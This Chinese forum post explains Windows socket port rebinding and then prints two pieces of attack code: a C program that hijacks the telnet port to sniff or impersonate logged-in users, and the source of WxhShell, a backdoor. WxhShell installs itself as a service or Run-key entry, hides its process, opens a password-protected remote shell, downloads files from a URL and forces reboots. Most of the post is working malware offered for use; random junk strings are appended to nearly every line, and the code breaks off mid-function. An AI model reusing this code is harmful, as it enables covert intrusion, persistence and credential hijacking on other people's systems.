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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `M>{43dj  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |ry;'[*  
U7crbj;c)d  
  saddr.sin_family = AF_INET; any\}   
B_cn[?M  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2|}p&~G(  
8Z3+S)6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &s/aJgJhp  
?5mVC]W?]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^Hq}9OyS9  
V2/+SvB2  
  这意味着什么?意味着可以进行如下的攻击: 6lT'%ho}B  
N83RsL "}_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :o}7C%Q8  
x6DH0*[.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =hl-c  
(f#W:]o/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 LO"HwN43h  
bf;IJ|v^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !.t'3~dUf$  
!hH6!G  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >Dtw^1i  
zm8m J2s  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 U}A+jJ  
r~s03g0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 l"*>>/U k  
TaolX*$5  
  #include _ux 6SIyp`  
  #include * )]SsM1  
  #include BC$In!  
  #include    /v!H{Zw=c  
  DWORD WINAPI ClientThread(LPVOID lpParam);   D"x~bs?V\  
  int main() q }z,C{Wq<  
  { zx'`'t4~  
  WORD wVersionRequested; !;\-V}V  
  DWORD ret; T[Gz  
  WSADATA wsaData; P`bR;2o  
  BOOL val; D 0n2r  
  SOCKADDR_IN saddr; D[-Ct  
  SOCKADDR_IN scaddr; xBw"RCBz^  
  int err; :&:>sd(QD  
  SOCKET s; RmNF]"3%  
  SOCKET sc; rz7yAm  
  int caddsize; ,}2j Fb9z4  
  HANDLE mt; >8AtT=}w  
  DWORD tid;   $!vi:+ED  
  wVersionRequested = MAKEWORD( 2, 2 ); Fk9(FOFg  
  err = WSAStartup( wVersionRequested, &wsaData ); i'5bPW  
  if ( err != 0 ) { L0_=R;.<  
  printf("error!WSAStartup failed!\n"); dJ&s/Z/>E  
  return -1; b5)>h  
  } `GDYL7pM(  
  saddr.sin_family = AF_INET; (Iq\+@xE=  
   33;|52$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;q^YDZ'  
SQ1&n;M}f  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); sIy$}_  
  saddr.sin_port = htons(23); AMm O+E?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v Cmh3TQ  
  { mE7Jv)@  
  printf("error!socket failed!\n"); aEM#V  
  return -1; (CV=0{]  
  } R;.WOies4  
  val = TRUE; -"nYCF  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L"-&B$B:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ./g#<  
  { 7r;A wa  
  printf("error!setsockopt failed!\n"); '{u#:TTj  
  return -1; v4.V%tg!  
  } Q?;ntzi  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :|A db\b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Qp?+_<{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 uA,{C%?  
6FmgK"t8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {vH8X(m  
  { iGlZFA  
  ret=GetLastError(); Z)&HqqT3p  
  printf("error!bind failed!\n"); e^an` </{  
  return -1; UCWU|r<s,  
  } ropiyT9;  
  listen(s,2); DtS{iH=s]  
  while(1) A3$b_i@P  
  { #3$|PM7,_  
  caddsize = sizeof(scaddr); MtB:H*pM  
  //接受连接请求 ;Dgp !*v=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #P@r[VZ{6  
  if(sc!=INVALID_SOCKET) Dm^kuTIG  
  { f:0n-me  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); n%0vQ;Z1  
  if(mt==NULL) [eN{Ft0x  
  { ,5?MRqCM  
  printf("Thread Creat Failed!\n"); W!^=)Qs  
  break; #e=^-yE  
  } !58JK f  
  } sg2C_]i,H  
  CloseHandle(mt); &ivIv[LV  
  } eC39C2q\  
  closesocket(s); =+L>^w#6=  
  WSACleanup(); *Wau7  
  return 0; ]mh+4k?b  
  }   ]>,|v,i =  
  DWORD WINAPI ClientThread(LPVOID lpParam) s#fmGe"8  
  { 9|m  L  
  SOCKET ss = (SOCKET)lpParam; X[ (J!"+  
  SOCKET sc; R}Y=!qjYE=  
  unsigned char buf[4096]; :F\f}G3  
  SOCKADDR_IN saddr; E;Hjw0M'k  
  long num; {cI<4><  
  DWORD val; J)-> 7h =  
  DWORD ret; w6Q]?p+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 u5ygbCm  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /{va<CL  
  saddr.sin_family = AF_INET; [)pT{QA  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); k}.nH"AQ  
  saddr.sin_port = htons(23); B=r/(e  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [ub\DLl  
  { Qa%SvA@R  
  printf("error!socket failed!\n"); (jG$M=q-  
  return -1; J_@4J7  
  } M2S|$6t:  
  val = 100; GZt] 38V)g  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Jx<  
  { -tdG} Gu  
  ret = GetLastError(); wp*1HnWj8Y  
  return -1; tK H!xit  
  } Zv\b`Cf}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "!?bC#d#(  
  { +bn w,B><  
  ret = GetLastError(); aB)DX  
  return -1; Z(eSnV_RL  
  } NZ5~\k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) nE;gM1I  
  { sCl,]g0{  
  printf("error!socket connect failed!\n"); IycxRig  
  closesocket(sc); ,gc#N  
  closesocket(ss); kDh(~nfj  
  return -1; +GS=zNw#  
  } ;gnr\C*G  
  while(1) 5aNDW'z`f  
  { lg+g:o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Sq,ty{j2%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Qg!*=<b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >6 #\1/RP  
  num = recv(ss,buf,4096,0); ]Dg0@Y  
  if(num>0) bn35f<+  
  send(sc,buf,num,0); M(uB ;Te  
  else if(num==0) Gf\_WNrSE+  
  break; $O8V!R*  
  num = recv(sc,buf,4096,0); v!xrUyN~m  
  if(num>0) ~S!kn1&O  
  send(ss,buf,num,0); &:*+p-!2<  
  else if(num==0) %#a%Luq  
  break; Hrnql  
  } _'U?!  
  closesocket(ss); E;H(jVZ  
  closesocket(sc); n #I}!x>2  
  return 0 ; Kj 8 W  
  } =[+&({  
5#\p>}[HG  
u_8 22Z  
========================================================== iGk{8Da<  
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下边附上一个代码,,WXhSHELL ;hJ*u  
8-ssiiJ}gh  
========================================================== *XO KH+_u  
="R6YL  
#include "stdafx.h" ie5ijkxZ(  
yZ$;O0f&&  
#include <stdio.h> ?/MXcI(  
#include <string.h> -%l, Zd9  
#include <windows.h> Y j\yO(o/  
#include <winsock2.h> |l(lrJ{  
#include <winsvc.h> U(4_X[qD  
#include <urlmon.h> &X,)+ b=  
oZ:F3 GQ4Q  
#pragma comment (lib, "Ws2_32.lib") ueBoSZRWX  
#pragma comment (lib, "urlmon.lib") {{%8|+B  
MToQ8qKs  
#define MAX_USER   100 // 最大客户端连接数 .G~5F- 8'  
#define BUF_SOCK   200 // sock buffer }{oBKm9_p  
#define KEY_BUFF   255 // 输入 buffer _PXo'*j  
5q`)jd!*)  
#define REBOOT     0   // 重启 {OrE1WHB  
#define SHUTDOWN   1   // 关机 RsfT Ub)<  
5udoZ >T  
#define DEF_PORT   5000 // 监听端口 F$ p*G][  
^X%4@,AE  
#define REG_LEN     16   // 注册表键长度 d}cJ5 !d  
#define SVC_LEN     80   // NT服务名长度 ldvxYq<:  
K0=E4>z,`q  
// 从dll定义API G3^]Wwu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rxp9B>~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6G$tYfX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (kyo?3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kGV`Q  
-xIhN?r)  
// wxhshell配置信息 J4c4Os>3  
struct WSCFG { Y'0?<_ fj  
  int ws_port;         // 监听端口 'OW"*b  
  char ws_passstr[REG_LEN]; // 口令 p!QneeA`&X  
  int ws_autoins;       // 安装标记, 1=yes 0=no GSnHxs)  
  char ws_regname[REG_LEN]; // 注册表键名 bvS\P!m\c  
  char ws_svcname[REG_LEN]; // 服务名 YPDsE&,J)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7d8qs%nA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S{7ik,Gdg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6x,=SW@4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Lj-&TO}OZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" aq/Y}s?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @<yc .>  
:wmf{c  
}; Y6? mY!  
]J=)pD rk  
// default Wxhshell configuration /1#Q=T  
struct WSCFG wscfg={DEF_PORT, ||ZufFO  
    "xuhuanlingzhe", *Q120R  
    1, -U;LiO;N  
    "Wxhshell", FK >8kC  
    "Wxhshell", L8xprHgL  
            "WxhShell Service", xYVjUb(,X  
    "Wrsky Windows CmdShell Service", KXA)i5z  
    "Please Input Your Password: ", ::R00gd  
  1, [pFu ] ^X  
  "http://www.wrsky.com/wxhshell.exe", jTUf4&b-  
  "Wxhshell.exe" $RNUr \9A  
    }; a{Hb7&  
l%U_iqL&  
// 消息定义模块 %R*vSRG/U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9Y@?xn.\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lF"(|n"R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~nc([%!=  
char *msg_ws_ext="\n\rExit."; )'dH}3Ba  
char *msg_ws_end="\n\rQuit."; R{KIkv  
char *msg_ws_boot="\n\rReboot..."; ,!%R5*?=D  
char *msg_ws_poff="\n\rShutdown..."; 8Y~=\(5>  
char *msg_ws_down="\n\rSave to "; Cm<j*Cnl  
S}Y|s]6  
char *msg_ws_err="\n\rErr!"; {r2|fgi  
char *msg_ws_ok="\n\rOK!"; (yAvDyJOn  
o"}&qA;  
char ExeFile[MAX_PATH]; n.XhK_6n]M  
int nUser = 0; 5~%,u2  
HANDLE handles[MAX_USER]; A1t~&?  
int OsIsNt; pvQK6r  
HGQ?(2]8$  
SERVICE_STATUS       serviceStatus; ^8l3j4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3?Eoj95w!  
X8SRQO^  
// 函数声明 \pD=Lv9  
int Install(void); $EGRaps{j>  
int Uninstall(void); V]kGcS}  
int DownloadFile(char *sURL, SOCKET wsh); fDEu%fUYZ  
int Boot(int flag); }Wche/g`  
void HideProc(void); /< 7C[^h{-  
int GetOsVer(void); PWN'.HQ  
int Wxhshell(SOCKET wsl); ;, v L  
void TalkWithClient(void *cs); i Kk"j   
int CmdShell(SOCKET sock); +=~%S)9F  
int StartFromService(void); O:^LQ  
int StartWxhshell(LPSTR lpCmdLine); [aM'  
3AQ>>)T~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X*9N[#wu6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $7DcQ b9  
$n#Bi.A j  
// 数据结构和表定义 5+/b$mHZX  
SERVICE_TABLE_ENTRY DispatchTable[] = kAB+28A  
{ P&%eIgAOL  
{wscfg.ws_svcname, NTServiceMain}, "(\) &G  
{NULL, NULL} =i^<a7M~  
}; 4,F3@m:<  
Cq*}b4^;  
// 自我安装 9kX=99kf[  
int Install(void) M|({ 4C  
{ %w8GGm8^/  
  char svExeFile[MAX_PATH]; _:Jp*z  
  HKEY key; 71.\`'  
  strcpy(svExeFile,ExeFile); {pb9UUP2  
H&=n:'k^  
// 如果是win9x系统,修改注册表设为自启动 sL AuR  
if(!OsIsNt) { k8 ;uC~L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;64mf`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4]aiT8))  
  RegCloseKey(key); 8lWH=kA\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :9F''f$AP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :IVk_[s  
  RegCloseKey(key); 8hKP  
  return 0; w*u{;v#  
    } 8 ih;#I=q  
  } pPyvR;NJ  
} ]Q4PbW  
else { WfDX"rA  
]KXMGH_  
// 如果是NT以上系统,安装为系统服务 &`yOIX-H_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QOV}5 0  
if (schSCManager!=0) jkF+g$B  
{ 5Z9~ &U  
  SC_HANDLE schService = CreateService Z<ajET`)  
  ( <wt$Gglk  
  schSCManager, 'cAc{\)  
  wscfg.ws_svcname, *j /S4qG  
  wscfg.ws_svcdisp, Cl6m$YUt  
  SERVICE_ALL_ACCESS, B+Y5b5+wOQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z%+BWS3YqY  
  SERVICE_AUTO_START, `D)Lzm R  
  SERVICE_ERROR_NORMAL, ,]Ro',A&  
  svExeFile, 4N~+G `  
  NULL, UK6xkra?#  
  NULL, {eEC:[  
  NULL, gE@$~Q>M  
  NULL, \+iu@C  
  NULL _^ q\XPS  
  ); eB= v~I3  
  if (schService!=0) a(@p0YpKT  
  { =9pw uH  
  CloseServiceHandle(schService); ,jRcl!n`  
  CloseServiceHandle(schSCManager); 3a#PA4Ql  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nw0L1TP/J  
  strcat(svExeFile,wscfg.ws_svcname); MCk^Tp!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n1*&%d'7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -!J2x 8Ri  
  RegCloseKey(key); W}XYmF*_?  
  return 0; `l>93A  
    } b4Cfd?'  
  } d /B'[Ur  
  CloseServiceHandle(schSCManager); o3n3URu\  
} mG831v?  
} $s-9|Lbs`  
S~0JoCeo  
return 1; v<;: 0  
} hojHbmm4  
|e*GzD  
// 自我卸载 {J~(#i k   
int Uninstall(void) g ?afX1Sg  
{ JF M"ii{8  
  HKEY key; 2yN%~C?$  
2wx!Lpr<i_  
if(!OsIsNt) { P</s)"@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _+ twq i  
  RegDeleteValue(key,wscfg.ws_regname); .Gizz</P~  
  RegCloseKey(key); 5M%,N-P^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G HD^%)T5^  
  RegDeleteValue(key,wscfg.ws_regname); d/XlV]#2x\  
  RegCloseKey(key); 8zdT9y|Ig  
  return 0; r^$\t0h(U8  
  } 6hkkNXqkf  
} K8?zgRG3~N  
} KNg8HYFW\  
else { VpkD'<G  
aSOU#Csx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J&M1t#UN  
if (schSCManager!=0) _QR g7  
{ 8> UKIdp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b5A Gk  
  if (schService!=0) F:%^&%\  
  { 3p=vz'  
  if(DeleteService(schService)!=0) { AG]W O8f)  
  CloseServiceHandle(schService); e:N7BZl'c9  
  CloseServiceHandle(schSCManager); [2Iau1<@  
  return 0; W*k`  
  } Ko#4z%Yq  
  CloseServiceHandle(schService); z!fdx|PUX  
  } u(W^Nou/+  
  CloseServiceHandle(schSCManager); c~P)4(udT  
} W_^>MLq  
} ajW[eyX  
jFtg.SD  
return 1; $#5klA  
} Bi]D{m9  
~}BJ0P(VMc  
// 从指定url下载文件 _=ugxL #eB  
int DownloadFile(char *sURL, SOCKET wsh) W1v CN31  
{ Fse['O~  
  HRESULT hr; eY T8$  
char seps[]= "/"; M[~Jaxw%  
char *token; bSQRLxF  
char *file; Vo%Yf9C  
char myURL[MAX_PATH]; *|mz_cKu  
char myFILE[MAX_PATH]; |U#DUqw  
9Uk(0A  
strcpy(myURL,sURL); /I`3dWL  
  token=strtok(myURL,seps); 1t+%Gv^sK  
  while(token!=NULL) tJ"az=?  
  { Yi 6Nw+$  
    file=token; yVaUt_Zi  
  token=strtok(NULL,seps); hp*<x4%*a"  
  } rJu[ N(2k  
"Nbos.a]5  
GetCurrentDirectory(MAX_PATH,myFILE); Yv^p =-E  
strcat(myFILE, "\\"); Gz ?2b#7v  
strcat(myFILE, file); L[rpb.'FG  
  send(wsh,myFILE,strlen(myFILE),0); MSl&?}Bj  
send(wsh,"...",3,0); `\!X}xiWd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [OzzL\)3l  
  if(hr==S_OK) 9qpU@V!  
return 0; !#?8BwnaZ  
else O}QFq14<+  
return 1; Rp0|zP,5  
+P|2m"UA  
} vv &BhIf3  
D}w<84qX  
// 系统电源模块 n12UBvc}%  
int Boot(int flag) a5a1'IVq  
{ !i^]UN   
  HANDLE hToken; }qAVN  
  TOKEN_PRIVILEGES tkp; L1wZU,o  
P.c O6+jGR  
  if(OsIsNt) { jeq:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RX'-99M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w:}C8WKw  
    tkp.PrivilegeCount = 1; 3qtr9NI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vf<UBa;Xm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M ?*Tf&  
if(flag==REBOOT) { 34ha26\np  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vI Vr@1S  
  return 0; CZY7S*fL  
} [![ G7H%f  
else { EWA;L?g|A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J*j5#V];  
  return 0; =h|wwQE  
} rnO0-h-;  
  } +dw!:P &  
  else { %hc'dZ  
if(flag==REBOOT) { 1* ^'\W.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0z7L+2#b^  
  return 0; `B:"6nW6  
} o-z &7@3Hu  
else { P? (vW&B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3;-^YG  
  return 0; (bv,02  
} hL!QLiF:  
} zmiZ]uq  
h*3{6X#(/  
return 1; A2NF<ZsD  
} G`F8!O(  
"~/9F  
// win9x进程隐藏模块 b{M}5~e=B  
void HideProc(void) ;wR 'z$8  
{ RPH1''*!  
B76 v}O:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vX;HC'%n  
  if ( hKernel != NULL ) .'1SZe7O  
  { /ZW&0 E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _9@ >;]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >.<ooWw  
    FreeLibrary(hKernel); YTQps&mD.  
  } J-V49X#  
"'a* [%  
return; ]\Xc9N8w  
} ka/XK[/'  
02\JzBU  
// 获取操作系统版本 m!O;>D  
int GetOsVer(void) Yp1bH+/u  
{ gcf6\f}\<  
  OSVERSIONINFO winfo; Dx-KMiQ,"(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q+ pOrGh  
  GetVersionEx(&winfo); U>P|X=)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zN{JJ3-  
  return 1; RJ~ %0  
  else brSi<  
  return 0; c #lPc>0xb  
} -.iNNM&a  
|cDszoT /  
// 客户端句柄模块 0q,pi qjO  
int Wxhshell(SOCKET wsl) I :)W*SK  
{ k1='c7s  
  SOCKET wsh; G[h(xp?,l  
  struct sockaddr_in client; (K :]7  
  DWORD myID; = 96P7#%  
i ev>9j  
  while(nUser<MAX_USER) sbo^"&%w  
{ WR#0<cz(  
  int nSize=sizeof(client); PB53myDQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XIAeCU  
  if(wsh==INVALID_SOCKET) return 1; Quzo8 u  
XiQkrZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QTmZ( >z  
if(handles[nUser]==0) ,=BLnsg  
  closesocket(wsh); .Cz %:%9  
else * R d#{Io7  
  nUser++; 6CCbBA  
  } ^"i~ DC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wX,F`e3"/  
;%Hf)F  
  return 0; ?La Ued'  
} G7@ O`N8'  
&:5\"b  
// 关闭 socket tX%`#hb?s  
void CloseIt(SOCKET wsh) P0Z! ?`e=M  
{ Zy0aJN>  
closesocket(wsh); +4qU>  
nUser--; |Au]1}  
ExitThread(0); L}sx<=8.m  
} g{:<2xI5P  
RJ4. kt  
// 客户端请求句柄 PRB{VC<k  
void TalkWithClient(void *cs) wy,p&g)>  
{ )ev<7g9*q  
)]43R   
  SOCKET wsh=(SOCKET)cs; 7~1IO|4t  
  char pwd[SVC_LEN]; Vj?DA5W`'  
  char cmd[KEY_BUFF]; +&|S'7&{  
char chr[1]; xV\5<7qk5g  
int i,j; $uDqqG(^  
bh p5<N  
  while (nUser < MAX_USER) { IMGP'g  
A,gEM4  
if(wscfg.ws_passstr) { beXNrf=bG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sJG5/w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hk>;pU(  
  //ZeroMemory(pwd,KEY_BUFF); MJ{%4S{K,p  
      i=0; )C hqATKg  
  while(i<SVC_LEN) { Ts$@s^S]  
x=Hndx^  
  // 设置超时 Q.U$nph\%d  
  fd_set FdRead; P\nC?!Q%c  
  struct timeval TimeOut; "xJ0 vlw  
  FD_ZERO(&FdRead); %9v@0}5V  
  FD_SET(wsh,&FdRead); <Fz~7WVd  
  TimeOut.tv_sec=8; #z'uRHx%=0  
  TimeOut.tv_usec=0; Dw<k3zaW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +}xaQc:0|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h"+ `13  
MV>$BW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]3iH[,KU3  
  pwd=chr[0]; 1O/ g&u  
  if(chr[0]==0xd || chr[0]==0xa) { t.Nb? /  
  pwd=0; 2&!bfq![  
  break; .L6Zm U  
  } PU<PhuMd  
  i++; Z{6kWA3Kk  
    } E#wS_[  
gJ$K\[+  
  // 如果是非法用户,关闭 socket I@#;nyAj"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Dnf*7)X  
} LOy0hN-$b  
ZraT3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rjx6Djo>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a>O9pX  
J%lgR  
while(1) { )\uO9PB[O  
81LNkE,  
  ZeroMemory(cmd,KEY_BUFF); {LHR!~d}5f  
(~~w7L s  
      // 自动支持客户端 telnet标准   "es?=  
  j=0; 4NN$( S-W  
  while(j<KEY_BUFF) { 7nq3S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4QOEw-~w&s  
  cmd[j]=chr[0]; An*~-u9m  
  if(chr[0]==0xa || chr[0]==0xd) { [BBEEI=|r  
  cmd[j]=0; *Lqg=9kzr  
  break; 7JJ/D4uT  
  } wI B`%V  
  j++; I pzJ#  
    } b89a)k>^g  
$j}OB6^I  
  // 下载文件 eB> s=}|  
  if(strstr(cmd,"http://")) { ew _-Eb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?<Wb@6kh`  
  if(DownloadFile(cmd,wsh)) w;UqEC V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /H7&AiA  
  else uj>WgU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g-c ;}qz  
  } 0+Ta%H{  
  else { ",aT WQgN  
tVrY3)c  
    switch(cmd[0]) { YOr:sb   
  GeszgtK{T  
  // 帮助 >MK>gLg}!  
  case '?': { =@2FX&&E_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7>XDNI  
    break; c;0Vs,DUmG  
  } j>Iaq"  
  // 安装 =OIw*L8C"I  
  case 'i': {  qy)_wM  
    if(Install()) $$b 9&mTl#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -HSs^dP`  
    else g_5QA)4x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gz2\H}  
    break; o8e?J\?  
    } i%e7LJ@5AW  
  // 卸载 n Ox4<Wk&  
  case 'r': { nJ4pTOc  
    if(Uninstall()) .itw04Uru  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); toN^0F?Qm  
    else H~ZV *[A`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sGh(#A0Pt  
    break; 2(5ebe[  
    } qTZFPfyU  
  // 显示 wxhshell 所在路径 n  -(  
  case 'p': { <)+y=m\eJ  
    char svExeFile[MAX_PATH]; T91moRv  
    strcpy(svExeFile,"\n\r"); K\"R&{+=  
      strcat(svExeFile,ExeFile); u:0aM}9A  
        send(wsh,svExeFile,strlen(svExeFile),0); lL1k.& |5m  
    break; ]Q]W5WDe:  
    } f&v9Q97=  
  // 重启 `Al;vVMRO  
  case 'b': { ctE\ q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uqz]J$  
    if(Boot(REBOOT)) SBA?^T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g&/T*L  
    else { iq( )8nxi  
    closesocket(wsh); 6aM*:>C"  
    ExitThread(0); rZ8`sIWQt  
    } jZ NOt  
    break; bfo["  
    } PkI:*\R  
